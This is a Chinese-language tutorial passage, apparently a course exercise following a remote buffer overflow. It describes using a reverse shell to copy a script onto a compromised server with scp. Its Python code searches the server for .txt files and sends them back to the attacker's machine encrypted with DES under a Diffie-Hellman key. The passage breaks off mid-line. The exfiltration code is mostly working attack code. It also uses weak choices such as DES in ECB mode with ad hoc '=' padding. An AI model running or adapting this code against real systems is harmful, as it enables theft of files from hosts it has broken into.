网络安全远程缓冲区溢出后续
利用漏洞将自己的脚本送上服务器
因为我们获得了反弹shell,所以可以在命令行使用 scp 命令,将客户机上的脚本复制到服务器上来
scp 客户机用户名@客户机ip: 脚本目录 存放的服务器目录
然后我们可以直接在反弹 shell 上运行该脚本
扫描服务器所有文件,并查找目的文件
def findtxt(filedir):
for root, dirs, files in os.walk(filedir):
for f in files:
if '.txt' in f:
if MyName in f:
filename.append(f)
filesdir.append(os.path.join(root, f))
return
设计密钥管理机制和传输加密方案,将目的文件网络传输到客户机
def send():
sums = len(filename)
for i in range(sums):
BigPri = get_prime() #DH中的大素数
PriRoot = get_generator(BigPri) #大素数的原根
Rand_A = random.randint(0, BigPri-1) #DH中服务端的私钥
cal_A = get_cal(PriRoot,BigPri,Rand_A) #DH中服务端的公钥
print("BigPri is %d,PriRoot is %d,Rand_A is %d,cal_A is %d"%(BigPri,PriRoot,Rand_A,cal_A))
sock_client.send(str(BigPri)) #将大素数发送到客户端
print("BigPri had been sended...")
time.sleep(1) #暂停一秒,发送的太快,接收方可能一次性接受好几个信息,可能会报错
sock_client.send(str(PriRoot)) #将原根发送到客户端
print("PriRoot had been sended...")
time.sleep(1)
sock_client.send(str(cal_A)) #发送服务端的公钥
print("cal_A had been sended...")
time.sleep(1)
cal_B = int(sock_client.recv(1024)) #获取客户端的公钥
print("cal_B had been recved...,it's %d"%(cal_B))
S_a = str(get_key(Rand_A,cal_B,BigPri)) #计算出商量好的密钥
if len(S_a) < 8:
S_a += '0' * (8 - len(S_a)) #DES算法需要固定密钥长度,所以不够我们得人为补充上去
des = DES.new(S_a,DES.MODE_ECB)
print("Sending the %d file..." % (i))
# 以读的方式打开文件,读取文件内容发送给客户端
# 第一步:制作固定长度的报头
header_dic = {
'filename': filename[i], # 1.txt
'file_size': os.path.getsize(filesdir[i])
}
header_json = json.dumps(header_dic)
header_bytes = header_json.encode('utf-8')
header_bytes += (8 - len(header_bytes) % 8) * '='
# 第二步:先发送报头的长度
sock_client.send(struct.pack('i', len(header_bytes)))
# 第三步:再发报头
encrypto_header_bytes = des.encrypt(header_bytes)
sock_client.send(encrypto_header_bytes)
with open(filesdir[i], 'rb') as f:
for line in f:
print(line)
line += (8-len(line)%8) * '=' #DES加密分块,所以我们得进行填充,将其正好能分块加密
encrypto_lin